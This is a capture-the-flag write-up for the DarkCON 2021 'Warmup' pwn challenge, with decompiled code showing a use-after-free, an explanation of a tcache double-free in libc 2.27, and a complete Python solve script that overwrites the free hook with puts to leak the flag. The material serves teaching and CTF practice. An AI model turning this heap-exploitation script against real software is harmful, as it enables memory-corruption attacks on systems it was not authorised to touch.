Tags: pwnscripts tcache 

Rating:

Pwn/Warmup [482]

warm up yourself and get the flag!

Connection: nc 65.1.92.179 49155

Files: warmup1.zip (libc.so.6, a.out)

$ ./libc-database/identify libc.so.6
libc6_2.27-3ubuntu1.2_amd64
$ checksec a.out
[*] '/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Solving

The challenge is a basic heap-based CLI, with the flag stored at notes[0]:

unsigned int initstuff() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  return alarm(0x20);
}
int show_options() {
  puts("[1] - create");
  puts("[2] - delete");
  return puts("[3] - exit");
}

char *notes[16]; // .bss:00000000006020C0
int main() {
  initstuff();
  notes[0] = malloc(0x10);
  strcpy(notes[0], "darkCON{XXXXXXX}"); // note that this is embedded as mov instructions
  printf("Hello traveller! Here is a gift: %p\n", &strcpy);
  while ( 1 ) {
    int opt; // [rsp+4h] [rbp-Ch] BYREF
    show_options();
    __isoc99_scanf("%d", &opt);
    fgetc(stdin);
    switch (opt) {
      case 1:
        create(); break;
      case 2:
        delete(); break;
      case 3:
        exit(0); break;
      default:
        return 0;
    }
  }
}

The challenge provides a libc leak via "strcpy" -- the value of this leak doesn't actually match libc.symbols['strcpy'], so I found it manually with gdb:

__strcpy_sse2_unaligned = 0xb65b0 #gdb.attach(r, gdbscript='x/g 0x601FE8\nvmmap libc')

In the main loop, there are only two options: create(), and delete().

unsigned getindex() {
  int ind; // [rsp+4h] [rbp-Ch] BYREF
  printf("index: ");
  __isoc99_scanf("%d", &ind);
  fgetc(stdin);
  if ( ind > 15 || ind < 0 )
    exit(0);
  return (unsigned)ind;
}
int sizes[16]; // .bss:0000000000602140
void create() {
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  int ind = getindex(); // [rsp+Ch] [rbp-54h]
  printf("size: ");
  __isoc99_scanf("%d", &sizes[ind]);
  fgetc(stdin);
  if (sizes[ind] <= 32 && sizes[ind] > 0) {
    printf("input: ");
    fgets(s, sizes[ind], stdin);  // this should be capped at 32 bytes.
    notes[ind] = malloc(sizes[ind]);
    strcpy(notes[ind], s);        // this shouldn't overflow.
  }
}
void delete(){
  int ind = getindex(); // [rsp+Ch] [rbp-4h]
  free(notes[ind]);     // UAF ! notes[] & sizes[] are not cleared.
}

The UAF can really only be used to induce a double free: there's no edit() like function to make use of an already-freed block.

I get an idea for leaking notes[0] pretty quickly:

  1. double-free a note, causing the tcache freelist to become [1 -> 2 -> 1]. This works because we're in libc 2.27.
  2. Use the first allocation of [1] to overwrite its ->fd pointer to GOT.free().
  3. Allocate twice to let the GOT pointer reach the head of the tcache
  4. Allocate && overwrite GOT.free() with puts()
  5. free [0] to get flag

That works:

[*] Switching to interactive mode
darkCON{shrtflg}
[1] - create
[2] - delete
[3] - exit
$

Solve script

from pwnscripts import *
context.binary = 'a.out'
context.libc_database = 'libc-database'
context.libc = 'libc.so.6' # libc6_2.27-3ubuntu1.2_amd64

r = remote('65.1.92.179', 49155)
#r = context.binary.process()
def create(ind: int, size: int, inp: bytes):
    r.sendlineafter('exit\n', '1')
    r.sendlineafter('index: ', str(ind))
    r.sendlineafter('size: ', str(size))
    if len(inp) < size-1: inp += b'\n'
    r.sendafter('input: ', inp)
def delete(ind: int):
    r.sendlineafter('exit\n', '2')
    r.sendlineafter('index: ', str(ind))

__strcpy_sse2_unaligned = 0xb65b0 # ???
context.libc.address = unpack_hex(r.recvline())-__strcpy_sse2_unaligned
create(1, 8, b'one')
create(2, 8, b'two')
delete(1)
delete(2)
delete(1)
create(1, 8, pack(context.libc.symbols['__free_hook'])[:7])
create(2, 8, b'two')
create(1, 8, b'one')
create(1, 8, pack(context.libc.symbols['puts'])[:7])
delete(0)
r.interactive()
Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/DarkCON%202021/Warmup.md).